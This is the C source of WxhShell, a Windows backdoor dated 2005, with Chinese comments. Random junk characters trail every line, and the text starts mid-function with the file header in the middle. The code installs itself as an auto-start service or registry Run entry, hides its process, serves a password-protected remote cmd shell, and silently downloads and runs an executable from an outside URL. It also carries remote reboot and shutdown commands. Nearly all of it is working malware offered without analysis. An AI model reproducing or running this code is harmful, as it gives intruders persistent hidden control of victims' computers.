    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4P5wEqU.<  
    else { 5Ml}m  
    closesocket(wsh); k,J?L-F  
    ExitThread(0); 4{ &   
    } Qpc>5p![3  
    break; D]REZuHOI  
    } MtljI6  
  // 获取shell o/#e y  
  case 's': { j~0hAKHG  
    CmdShell(wsh); z#b6 aP  
    closesocket(wsh); c3+vtP&  
    ExitThread(0); j.sf FS  
    break; !xSGZ D=AD  
  } n&^Rs )%v  
  // 退出 6IA~bkc}  
  case 'x': { e BPMT  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "A7tb39*  
    CloseIt(wsh); A'T! og|5  
    break; hO8B]4=&*  
    } a,.9eHf  
  // 离开 y)2]:nD`B  
  case 'q': { y!j1xnzki  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); C|+5F,D  
    closesocket(wsh); 4I$#R  
    WSACleanup(); _#I0m(  
    exit(1); LdcP0G\"VG  
    break; ,fbO}  
        } xYbF76B  
  } r BaK$Ut  
  } 6k-]2,\#  
n:{yri+  
  // 提示信息 \VW.>@s~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \%#jT GFs~  
}  ^(y4]yZ  
  } U}NNb GQj  
>i '3\  
  return; umciP  
} +-ue={ '  
TAP/gN'  
// shell模块句柄 Rh39x-`Z  
int CmdShell(SOCKET sock) "dIoIW  
{ a,X3=+_K  
STARTUPINFO si; / wEr>[8S  
ZeroMemory(&si,sizeof(si));  )57OZ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0W@C!mD~  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `KZ}smMA  
PROCESS_INFORMATION ProcessInfo; r~X6qC  
char cmdline[]="cmd"; 7J\I%r  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); H|P.q{(G  
  return 0; wx<DzC  
} [e (-  
bR.T94-8y  
// 自身启动模式 NoI=t  
int StartFromService(void) jd#{66:  
{ @E1N9S?>  
typedef struct ,MdCeA%`  
{ 9.<$&mVk7`  
  DWORD ExitStatus; r*$KF!-dg  
  DWORD PebBaseAddress; %gN8-~$ 1  
  DWORD AffinityMask; mR@iGl\\  
  DWORD BasePriority; Z# 1Qj9  
  ULONG UniqueProcessId; 6;ICX2Wq'  
  ULONG InheritedFromUniqueProcessId; ZC05^  
}   PROCESS_BASIC_INFORMATION; o9JJ_-O"  
}a8N!g  
PROCNTQSIP NtQueryInformationProcess; 3+IS7ATn  
~{xY{qL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; C0e< _6p=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &#~yci2{  
cOIshT1  
  HANDLE             hProcess; zZ kwfF  
  PROCESS_BASIC_INFORMATION pbi; FG?B:Zl%T  
U]_1yX  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *0Fn C2W1  
  if(NULL == hInst ) return 0; v6]lH9c{,  
% 30&6"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); gZ 9<H q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); CpA=DnZ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~s+\Y/@A  
).LJY<A  
  if (!NtQueryInformationProcess) return 0; h.PY$W<  
dP )YPy_`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [mX\Q`)QP  
  if(!hProcess) return 0; 07n=H~yU  
W Qe>1   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]ko>vQ4]3  
`CW=*uBH  
  CloseHandle(hProcess);  </7J:#  
+3VY0J  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _bW#* Y5  
if(hProcess==NULL) return 0; m%akx@{WL  
Bp9 u6R  
HMODULE hMod; a93Aj  
char procName[255]; HyZh27PE  
unsigned long cbNeeded; ofsua?lSe  
PM ,I?lJ,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); V;9.7v  
23 3jT@Z  
  CloseHandle(hProcess); }6`#u :OZ  
y/E%W/3  
if(strstr(procName,"services")) return 1; // 以服务启动 q^EG'\<^  
/1Ndir^c  
  return 0; // 注册表启动 y "gYv  
} x-cg df  
ho 4~-xmN  
// 主模块 ZfoI7<?33  
int StartWxhshell(LPSTR lpCmdLine) &!_ >J0  
{ (|<}q-wO  
  SOCKET wsl; G3m+E;o1  
BOOL val=TRUE; zGA#7W2?0  
  int port=0; Ak&eGd$d  
  struct sockaddr_in door; z;D[7tT  
DdPU\ ZWR  
  if(wscfg.ws_autoins) Install(); Lk4gjs,V  
~ #Vrf0w/  
port=atoi(lpCmdLine); ;=aj)lemCr  
o#CNr5/  
if(port<=0) port=wscfg.ws_port; =#^\ 9|?$  
]v$VZ '  
  WSADATA data; eWE7>kwh  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; W A-\2  
'jqkDPn  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6ID@0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ZE#A?5lb  
  door.sin_family = AF_INET; (6!W8x7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !np-Jmi  
  door.sin_port = htons(port); L~=h?C<  
c#Y/?F2p  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { PIl:z?q({  
closesocket(wsl); ~}+F$&  
return 1; gM&XVhQJ\  
} *i?#hTw  
:.J Ad$>P  
  if(listen(wsl,2) == INVALID_SOCKET) { Gg8F>y<[R  
closesocket(wsl); l*^c?lp)  
return 1; u8 Q`la  
}  YH@p\#Y  
  Wxhshell(wsl); <BEM`2B  
  WSACleanup(); /{|JQ'gqX  
ZuH@qq\  
return 0; V\vt!wBcB  
IZn|1X?}\s  
} IN~Q(A]Z%  
7a\at)q/y  
// 以NT服务方式启动 )lwxF P;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) bW-9YXj%  
{ xim'TVwvC  
DWORD   status = 0; plN:QS$  
  DWORD   specificError = 0xfffffff; lp+Uox  
?)X 0l  
  serviceStatus.dwServiceType     = SERVICE_WIN32; wF[%+n (*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Qv~lH&jG  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; e#BxlC  
  serviceStatus.dwWin32ExitCode     = 0; EIug)S~  
  serviceStatus.dwServiceSpecificExitCode = 0; {Dupk0'(  
  serviceStatus.dwCheckPoint       = 0; k nTCX  
  serviceStatus.dwWaitHint       = 0; %OE (?~dq  
N3"O#C  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =^3 Z L  
  if (hServiceStatusHandle==0) return; OiI29  
Ku$:.  
status = GetLastError(); LYhjI  
  if (status!=NO_ERROR) 'ioX,KD  
{ | $  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; V(wm?Cc]  
    serviceStatus.dwCheckPoint       = 0; /fgy07T  
    serviceStatus.dwWaitHint       = 0; rU/8R'S  
    serviceStatus.dwWin32ExitCode     = status; :< X&y  
    serviceStatus.dwServiceSpecificExitCode = specificError; w]1Ltq*g/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /#TtAkH  
    return; Bre:_>*  
  } C( wZj O?N  
Bc&Y[u-n  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; J@$KF GUs  
  serviceStatus.dwCheckPoint       = 0; = Zi'L48  
  serviceStatus.dwWaitHint       = 0; 1#}}:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &1 t84p:^=  
} ]?c9;U  
1{1 5#W  
// 处理NT服务事件,比如:启动、停止 S3 Dmc\f  
VOID WINAPI NTServiceHandler(DWORD fdwControl) h\-3Y U  
{ 46 [k9T  
switch(fdwControl) JIL(\d  
{ ;Vv.$mI  
case SERVICE_CONTROL_STOP: 'nJ,mZx  
  serviceStatus.dwWin32ExitCode = 0; a1#",%{I  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; vLI'Z)\  
  serviceStatus.dwCheckPoint   = 0; tw k  
  serviceStatus.dwWaitHint     = 0; b=+3/-d  
  { A9Kt^HR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BMi5F?Q'G  
  } 5LaF'>1yY  
  return; OJ?U."Lxm$  
case SERVICE_CONTROL_PAUSE: dj-/%MU  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; T\v~"pMu*0  
  break; 03Uj0.Z|7  
case SERVICE_CONTROL_CONTINUE: MMU>55+-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; i4Da'Uk  
  break; d C>[[_  
case SERVICE_CONTROL_INTERROGATE: Xx,Rah)X3  
  break; s+0n0C  
}; T|k_$LH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pgd9_'[5  
} =j^>sg]  
2=IZD `{!  
// 标准应用程序主函数 s.$:.*k  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1$_|h@  
{ =C#22xqQ.  
5Sz&j  
// 获取操作系统版本 WU\Bs2  
OsIsNt=GetOsVer(); z"\<GmvB  
GetModuleFileName(NULL,ExeFile,MAX_PATH); k 5gvo  
p54 e'Zb  
  // 从命令行安装 Lo*vt42{4  
  if(strpbrk(lpCmdLine,"iI")) Install(); q"0_Px9P  
7<0oK|~c#  
  // 下载执行文件 ,8[R0wsBaz  
if(wscfg.ws_downexe) { gY {/)"  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) JuDadIrd{  
  WinExec(wscfg.ws_filenam,SW_HIDE); fA)4'7UT  
} Ex<@:  
O^Y@&S RrQ  
if(!OsIsNt) { =xjt PmZ5X  
// 如果时win9x,隐藏进程并且设置为注册表启动 G?+0#?'Y  
HideProc(); ~P fk   
StartWxhshell(lpCmdLine); \=c@  
} w&e q *q  
else *4y0Hq  
  if(StartFromService()) {Q021*xt/  
  // 以服务方式启动 bQ`2ll*(  
  StartServiceCtrlDispatcher(DispatchTable); '$h0l-mQ  
else 0ky3rFSh1  
  // 普通方式启动 1VA%xOURh  
  StartWxhshell(lpCmdLine); m`&6[[)6~  
uWLf9D"  
return 0; /u~L3Cp(  
} a(_3271  
a\m0X@Q  
,a3M*}Y ~3  
]D_ AZI  
=========================================== yRWZ/,9x   
1}q(Pn2  
iw^"?:'%  
'tDVSj  
5Z>+NKQ  
ZMEYF!j N  
" ,8.zbr  
uCjbb  
#include <stdio.h> Ssd7]G+n:  
#include <string.h> !DBaC%TGC  
#include <windows.h> G LA4O)  
#include <winsock2.h> Yb348kRF  
#include <winsvc.h> /Py`a1  
#include <urlmon.h> :M$8<03>F  
EouI S2e;a  
#pragma comment (lib, "Ws2_32.lib") }F-,PSH Ml  
#pragma comment (lib, "urlmon.lib") TOsHb+Uv  
]RuH6d2d|  
#define MAX_USER   100 // 最大客户端连接数 8b X?HeYrr  
#define BUF_SOCK   200 // sock buffer P EMuIYm$  
#define KEY_BUFF   255 // 输入 buffer T,uJO<  
]t-B-(D  
#define REBOOT     0   // 重启 72\o6{BiC  
#define SHUTDOWN   1   // 关机 42Cc`a%U  
}LwKi-G?  
#define DEF_PORT   5000 // 监听端口 /h,-J8[  
2NF#mWZ(s  
#define REG_LEN     16   // 注册表键长度 es1'z.UJ  
#define SVC_LEN     80   // NT服务名长度 ]#\/1!W  
3J[ 5^  
// 从dll定义API Uc0Sb  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ]GiDfYs7%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \4|osZ0y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Lf+3nN  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  s x)x7  
b`^mpB*6R  
// wxhshell配置信息 ?Lem|zo  
struct WSCFG { oF.H?lG7`  
  int ws_port;         // 监听端口 2f2.;D5g_'  
  char ws_passstr[REG_LEN]; // 口令 |#5_VEG  
  int ws_autoins;       // 安装标记, 1=yes 0=no +ooQ-Gh  
  char ws_regname[REG_LEN]; // 注册表键名 M5{vYk>,1Q  
  char ws_svcname[REG_LEN]; // 服务名 SXRND;-W8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 iI@(Bl]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 TnLblkX  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0E`6g6xMS  
int ws_downexe;       // 下载执行标记, 1=yes 0=no GD<pqm`vVY  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *h~(LH"tN  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 VMW<?V 2Z  
hQ Lh}}B  
}; S %(R9N|  
JT*Pm"}  
// default Wxhshell configuration ~!ICBF~j  
struct WSCFG wscfg={DEF_PORT, S^ JUQx7  
    "xuhuanlingzhe", +zzS  
    1, wi S8S{K5  
    "Wxhshell", [KsVI.gn  
    "Wxhshell", J:2Su1"ODh  
            "WxhShell Service", nEh^{6  
    "Wrsky Windows CmdShell Service", baib_-$  
    "Please Input Your Password: ", Iq(;?_  
  1,  o[>p  
  "http://www.wrsky.com/wxhshell.exe", y0 qq7Dmu  
  "Wxhshell.exe" (^= Hq'D  
    }; (Ek=0;Cr  
aR0v qRF  
// 消息定义模块 )}SiM{g  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3L%g2`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Eq'oy~.oV  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !Nno@S P@  
char *msg_ws_ext="\n\rExit."; hP=z<&zb/  
char *msg_ws_end="\n\rQuit."; (N$$N:ac[t  
char *msg_ws_boot="\n\rReboot..."; G9jlpf5>  
char *msg_ws_poff="\n\rShutdown..."; !@@rO--&  
char *msg_ws_down="\n\rSave to "; hionR)R4  
Xj;5i Vq  
char *msg_ws_err="\n\rErr!"; Ge4 tc  
char *msg_ws_ok="\n\rOK!"; +( V+XT  
cP[]\r+Kj  
char ExeFile[MAX_PATH]; }$1Aw%p^  
int nUser = 0; Z.mnD+{  
HANDLE handles[MAX_USER]; *,oZ]!   
int OsIsNt; ;@I}eZ,f$  
Mta;6<  
SERVICE_STATUS       serviceStatus; z,/y2H2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; M ^~  
l%9nA.M'  
// 函数声明 b}jLI_R{  
int Install(void); V39)[FH}  
int Uninstall(void); ^1NtvQe@Y\  
int DownloadFile(char *sURL, SOCKET wsh); |cq%eN  
int Boot(int flag); 0Z>oiBr4  
void HideProc(void); (r )fx  
int GetOsVer(void); -~ ycr[}x  
int Wxhshell(SOCKET wsl); cRC)99HP  
void TalkWithClient(void *cs); N>_d {=P  
int CmdShell(SOCKET sock); U-3uT&m*9.  
int StartFromService(void); Is !DiB  
int StartWxhshell(LPSTR lpCmdLine); xn)r6  
b{Kw.?85  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [EV}P&U  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); N0G-/  
z/t:gc.  
// 数据结构和表定义 /WI HG0D  
SERVICE_TABLE_ENTRY DispatchTable[] = -Fs^^={Q  
{  LYX\#  
{wscfg.ws_svcname, NTServiceMain}, 5s2334G  
{NULL, NULL} \|9KOulr  
}; Zx}.mt#}8  
[/I1%6;  
// 自我安装 vH^^QI:em  
int Install(void) `)R@\@jt  
{ nW (wu!2  
  char svExeFile[MAX_PATH]; ?W"9G0hTqM  
  HKEY key; 6'N!)b^-  
  strcpy(svExeFile,ExeFile); )04lf*ti  
:cK;|{f  
// 如果是win9x系统,修改注册表设为自启动 R0*+GIRA(  
if(!OsIsNt) { O[fgn;@|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]]Da/^K=Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +kTa>U<?  
  RegCloseKey(key); JSQ*8wDcl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .o5r;KD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o$r]Z1  
  RegCloseKey(key); 1f1J'du  
  return 0; <U$A_ ]*w  
    } zorTZ #5  
  } _"`U.!3*  
} kM\O2 ay  
else {  <XxFR  
;{inhiySN  
// 如果是NT以上系统,安装为系统服务 <~Tlx:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); i>[1^~;  
if (schSCManager!=0) jsvD[\P  
{ VNbq]L(g  
  SC_HANDLE schService = CreateService Lay+)S.ta[  
  ( B1A5b=6G<  
  schSCManager, +xlxhF  
  wscfg.ws_svcname, ~4iI G}Y<  
  wscfg.ws_svcdisp, Th%1eLQ  
  SERVICE_ALL_ACCESS, Tl3{)(ezx  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0R2 AhA#  
  SERVICE_AUTO_START, 0Fh*8a}?b  
  SERVICE_ERROR_NORMAL, 5!*5mtI  
  svExeFile, z,oqYU\:  
  NULL, wQ,RZO3  
  NULL, "ppT<8Qi'  
  NULL, VPTT* a`  
  NULL, )Cz^Xp)#  
  NULL 0ZV)Y<DJ  
  ); [@= [< _r  
  if (schService!=0) r\"O8\  
  { RfwTqw4@  
  CloseServiceHandle(schService); sy` : wp  
  CloseServiceHandle(schSCManager); #7U,kTj9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (K+TqJw  
  strcat(svExeFile,wscfg.ws_svcname); MNiu5-g5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5b[:B~J  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); aM9St!i  
  RegCloseKey(key); _|Ml6;1aZ  
  return 0; L&'0d$Tg8  
    } VmkYl$WZo  
  } 6mBX{-Z[  
  CloseServiceHandle(schSCManager); MOG[cp  
} kI3-G~2  
} +2w54X%?M  
`R ^g[0 w'  
return 1; 0{Kl5>Z9M  
} ,\DB8v6l\A  
9hT^Y,c0  
// 自我卸载 y+?tUSPP  
int Uninstall(void) -i'T!Qg1  
{ /)de`k"  
  HKEY key; 7Yxy2[  
!o4xI?  
if(!OsIsNt) { *<U&DOYV:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { EBM\p+x&  
  RegDeleteValue(key,wscfg.ws_regname); 64 \ZOG\,  
  RegCloseKey(key); ZZE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q'2PG@  
  RegDeleteValue(key,wscfg.ws_regname); ooIMN =  
  RegCloseKey(key); >UJ&noUD#:  
  return 0; ),\>'{~5&  
  } `z)!!y  
} 2>O2#53ls0  
} S53%*7K.  
else { ja7Z v[  
%TG$5' )0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); q'hV 'U  
if (schSCManager!=0) <'~8mV1  
{ _T5~B"*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); oJ8_hk<Va8  
  if (schService!=0) 2,&lGyV#  
  { cJ8F#t  
  if(DeleteService(schService)!=0) { &F'v_9  
  CloseServiceHandle(schService); `z` `d*_  
  CloseServiceHandle(schSCManager); @mJN  
  return 0; 9'toj%XQ  
  } Hs=!.tZ,  
  CloseServiceHandle(schService); 7^iF,N  
  } 6ddkUPTF  
  CloseServiceHandle(schSCManager); /2dK*v0  
} p!aeL}g`  
} g-p OO/|  
SC2C%.%l`  
return 1; q qzQKN  
} : 6>H\  
HB`pK'gz  
// 从指定url下载文件 v[a#>!;s  
int DownloadFile(char *sURL, SOCKET wsh) 2 J4|7UwJ  
{ ;mi0Q.  
  HRESULT hr; 1~ S Y  
char seps[]= "/";  29sgi"  
char *token; 0!vC0T[  
char *file; xk|$Oa  
char myURL[MAX_PATH]; ri JyH;)  
char myFILE[MAX_PATH]; M+hc,;6  
RaU.yCYyu  
strcpy(myURL,sURL); dWqFP  
  token=strtok(myURL,seps); 4(aesZ8h  
  while(token!=NULL) 7-o=E=  
  { uAjGR  
    file=token; <Z m ,q}  
  token=strtok(NULL,seps); gv[7h'}<  
  } BXfaqYb;Q  
"j a0,%3  
GetCurrentDirectory(MAX_PATH,myFILE); ZHC sv]l  
strcat(myFILE, "\\"); [QZ~~(R  
strcat(myFILE, file); 2/7=@>|  
  send(wsh,myFILE,strlen(myFILE),0); %o"Rcw|  
send(wsh,"...",3,0); 9uS7G*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); gs8L/veP  
  if(hr==S_OK) Ox~'w0c,f  
return 0; Tc88U8Gc  
else _).'SU)>  
return 1; 99ha /t  
'hek CZZ_I  
} ?Nh%!2n  
s3+O=5  
// 系统电源模块 gw*d"~A  
int Boot(int flag) Xl/G|jB9  
{ 9wq%Fnt  
  HANDLE hToken; ZM#WdP  
  TOKEN_PRIVILEGES tkp; Pm1 " 0  
@Qs-A^.  
  if(OsIsNt) { 1=;QWb6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); m|]^f;7z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Z@[,"{Sn  
    tkp.PrivilegeCount = 1; :>X7(&j8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; I }/Oi]jA6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 'd t}i<  
if(flag==REBOOT) { Y;&#Ur8q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) M)J*Df0@  
  return 0; ^X&9"x)4  
} \W}EyA  
else { lTB!yF.r|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) wFJK!9KA8  
  return 0; ,#E5/'c`  
} %UQ{'JW?K  
  } ,oG"wgf  
  else { aydal 9M  
if(flag==REBOOT) { r6$=|Yto  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) KvD$`"L/CT  
  return 0; eYcx+BJ  
} I)Lb"  
else { 7k\7G=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) lXPn]iLJ  
  return 0; ya_'Oz!C  
} U2AGH2emw  
} vLS9V/o  
!X8UP{J)L  
return 1; =P#!>*\ar  
} \a6)t%u  
9/$P_Q:3  
// win9x进程隐藏模块 $dnHUBB  
void HideProc(void) Nb#7&_f=  
{ WsV3>=@f  
iTt=aQjd  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >1~`tP  
  if ( hKernel != NULL ) .]e6TFsrO  
  { btF%}<o)  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _Y|kX2l S@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); j?,*fp8  
    FreeLibrary(hKernel); u W|x)g11a  
  } -*lP1Nbp  
YxtkI:C?  
return; {^f0RGJg9  
} Q*C4  q`  
D9C}Dys  
// 获取操作系统版本 Cv~hU%1T  
int GetOsVer(void) Qf|}%}% fp  
{ "?{yVu~9  
  OSVERSIONINFO winfo; VjqdKQeVq  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); S1zw'!O5  
  GetVersionEx(&winfo); S <_pGz$V  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9Bk}g50$#  
  return 1; IA^)`l7H  
  else I.u,f:Fl'  
  return 0; 3rY /6{  
} D%idlL2%J  
>>bYg  
// 客户端句柄模块 _cw ^5  
int Wxhshell(SOCKET wsl) kVrT?  
{ +2}(]J=-  
  SOCKET wsh; ,&?q}M  
  struct sockaddr_in client; t lERis  
  DWORD myID; \z`d}\3( R  
^.C X6%  
  while(nUser<MAX_USER) erP>P  
{  y:OywIi(  
  int nSize=sizeof(client); W{+0iAYnp  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Ql@yN@V  
  if(wsh==INVALID_SOCKET) return 1; % 9/)  
sYA-FO3gh  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); is?&%VY  
if(handles[nUser]==0) _ <a)\UR  
  closesocket(wsh); j$|C/E5?  
else 4@e!D Du  
  nUser++; [T}]Ma*CS  
  } =+h!JgY/L  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); tMZ(s  
?+O|mX}`-  
  return 0;  DiQkT R  
}  GQ0(&I  
% B &?D@  
// 关闭 socket I*t)x,~3  
void CloseIt(SOCKET wsh) _*$B|%k   
{ ,Q#tA|:8j  
closesocket(wsh); '<=MhNh\  
nUser--; gqD^Bs'VF  
ExitThread(0); fF>qU-  
} YaZt+WA  
 |~uzQU7  
// 客户端请求句柄 PBs<8xBx^  
void TalkWithClient(void *cs) /e sk  
{ m=.7f9  
OEE{JVeI  
  SOCKET wsh=(SOCKET)cs; `VFl|o#H  
  char pwd[SVC_LEN]; ZU.)K>'  
  char cmd[KEY_BUFF]; :ZfUjqRE  
char chr[1]; f5b`gvCY,#  
int i,j; pd>a6 lI`  
Mto~ /  
  while (nUser < MAX_USER) { !$xEX,vj|W  
N^yO- xk  
if(wscfg.ws_passstr) { wwcwYPeg  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a^T4\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  q3-;}+  
  //ZeroMemory(pwd,KEY_BUFF); /^33 e+j  
      i=0; D'[P,v;Q  
  while(i<SVC_LEN) { _Q}RElA  
Px7g\[]  
  // 设置超时 inv{dg/2  
  fd_set FdRead; _d0-%B 9m  
  struct timeval TimeOut; dezL{:Ya  
  FD_ZERO(&FdRead); lZA>L, \d  
  FD_SET(wsh,&FdRead); aho<w+l@  
  TimeOut.tv_sec=8; 3zA=q[C  
  TimeOut.tv_usec=0; y]pN=<*h5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Rf(x^J{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @ U8}sH^  
~:}XVt0%8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qv*uM0G6i  
  pwd=chr[0]; h NOYFH  
  if(chr[0]==0xd || chr[0]==0xa) { "4k=(R?  
  pwd=0; ckjVa\  
  break; %M)oHX1p  
  } Cb%.C;q  
  i++; wz0$g4  
    } fpK0MS]=b  
"p~]m~g  
  // 如果是非法用户,关闭 socket S7NnC4)=-f  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /yw\(|T  
} 8@W/43K8-  
`^bvj]>l  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [OoH5dD  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VVQ74b  
K?Xo3W%K  
while(1) { UGC|C F2K  
N]s7/s  
  ZeroMemory(cmd,KEY_BUFF); vzyI::f?  
[5p7@6:$u  
      // 自动支持客户端 telnet标准   ,4>WLJDo  
  j=0; ]k`Fl,"  
  while(j<KEY_BUFF) { zsMw5C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >.O*gv/ _  
  cmd[j]=chr[0]; ;x3 ]4^  
  if(chr[0]==0xa || chr[0]==0xd) { IQlw 914  
  cmd[j]=0; ZLN_,/7  
  break; 1^60I#Vr@  
  } W]!@Zlal  
  j++; 8`inRfpY  
    } cdJ`Gk  
8MeO U  
  // 下载文件 .i3lG( YG  
  if(strstr(cmd,"http://")) { 6h:?u4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (w#slTFT  
  if(DownloadFile(cmd,wsh)) 5y[b8mur  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "x.6W!  
  else ~^%0V<*-}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K?FX<PT  
  } ;vI*ThzdD  
  else { u_p7Mcb  
|`k1zc)9  
    switch(cmd[0]) { RvPniT(<?  
